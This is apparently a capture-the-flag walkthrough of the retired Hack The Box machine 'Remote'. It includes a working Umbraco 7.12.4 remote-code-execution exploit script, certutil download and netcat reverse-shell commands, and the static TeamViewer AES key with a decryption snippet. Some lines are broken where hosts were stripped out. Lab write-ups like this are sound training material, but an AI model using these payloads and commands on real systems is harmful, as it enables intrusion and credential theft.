This post documents the complete walkthrough of Remote, a retired vulnerable VM created by mrb3n, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


Remote is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 --rate=500

Starting masscan 1.0.5 ( at 2020-03-25 03:47:17 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 445/tcp on
Discovered open port 49666/tcp on
Discovered open port 2049/tcp on
Discovered open port 135/tcp on
Discovered open port 21/tcp on
Discovered open port 80/tcp on
Discovered open port 49678/tcp on
Discovered open port 49679/tcp on
Discovered open port 5985/tcp on
Discovered open port 47001/tcp on
Discovered open port 111/tcp on
Discovered open port 49665/tcp on
Discovered open port 49667/tcp on
Discovered open port 49680/tcp on
Discovered open port 49664/tcp on
Discovered open port 139/tcp on

Interesting list of open ports. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p21,80,111,135,139,445,2049,5985 -A --reason -oN nmap.txt
21/tcp   open  ftp           syn-ack ttl 127 Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_  SYST: Windows_NT
80/tcp   open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Home - Acme Widgets
111/tcp  open  rpcbind       syn-ack ttl 127 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds? syn-ack ttl 127
2049/tcp open  mountd        syn-ack ttl 127 1-3 (RPC #100005)
5985/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found

RPC is certainly rare to see in a Windows machine. In any case, anonymous FTP is allowed but there’s nothing in it. Here’s what the site looks like.

Network File System

Notice that 2049/tcp is open? That’s for network file system (NFS). We can use showmount to view the export list of NFS.

# showmount -e
Export list for
/site_backups (everyone)

Let’s mount that and see what we’ve got.

Looks like Umbraco is in use!

Umbraco 7.12.4

Since this box is rated as “Easy”, we shouldn’t need to go too far to gain a foothold. First up, let’s determine the version of Umbraco installed in Web.config.

The database in use is a SQL Server Compact (SQL CE) file.

Also, in Web.config the password format is Hashed. I suppose that means the password hash can be found in the database?

I don’t suppose that’s the password hash for [email protected]? There’s only one way to find out.

We have creds??!!

And we are in.

Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution

Armed with the administrator credentials, we can make use of EDB-ID 46153 for remote code execution. I do need to clean up the code a little though.
import requests
import sys

from bs4 import BeautifulSoup

print("[!] Start");

# Execute a calc for the PoC
payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = "/c ' + sys.argv[1] + '"; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
 proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.Arguments = cmd;\
 proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
 proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
 </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
 </xsl:template> </xsl:stylesheet> '

print("[*] Sending payload")

login = "[email protected]"
host = "";

# Step 0 - Set up session
s = requests.Session()

# Step 1 - Process Login
url_login = "http://" + host + "/umbraco/backoffice/UmbracoApi/Authentication/PostLogin"
loginfo = {"username":login,"password":password}
r1 =,json=loginfo)

# Step 2 - Go to vulnerable web page
url_xslt = "http://" + host + "/umbraco/developer/Xslt/xsltVisualize.aspx"
r2 = s.get(url_xslt)

soup = BeautifulSoup(r2.text, 'html.parser')
VIEWSTATE = soup.find(id="__VIEWSTATE")['value']
data = {"__EVENTTARGET":"","__EVENTARGUMENT":"","__VIEWSTATE":VIEWSTATE,"__VIEWSTATEGENERATOR":VIEWSTATEGENERATOR,"ctl00$body$xsltSelection":payload,"ctl00$body$contentPicker$ContentIdValue":"","ctl00$body$visualizeDo":"Visualize+XSLT"}

# Step 3 - Launch the attack
r3 =,data=data,headers=headers)

print("[!] End")

Low-Privilege Shell

Let’s transfer a copy of nc.exe from Kali Linux using certutil.exe.

# python3 'certutil -urlcache -split -f \\windows\\system32\\spool\\drivers\\color\\cute.exe'

And run a reverse shell back to us.

# python3 'start \\windows\\system32\\spool\\drivers\\color\\cute.exe 4444 -e cmd.exe'

Bam. And the file user.txt is at C:\Users\Public.

Privilege Escalation

During enumeration of this account, I noticed that TeamViewer 7 is installed and running as a service.

CVE-2019-18988 - Shared AES key for TeamViewer < 14.7.1965

True enough, sensitive information about TeamViewer can be gleaned from the registry like so.

reg query hklm\software\teamviewer /s

According to this blog post,

TeamViewer stored user passwords encrypted with AES-128-CBC with they key of 0602000000a400005253413100040000 and iv of 0100010067244F436E6762F25EA8D704 in the Windows registry.

Armed with this information, I wrote a simple decryption script driven by openssl enc to decrypt SecurityPasswordAES.


echo -n $ENCPASS \
| xxd -p -r \
| openssl enc -aes-128-cbc -d -nopad -K $KEY -iv $IV; echo

Let’s give it a shot.

Of course!

Getting root.txt

Armed with this password, we can get an Administrator shell with Evil-WinRM.

Getting root.txt is easy.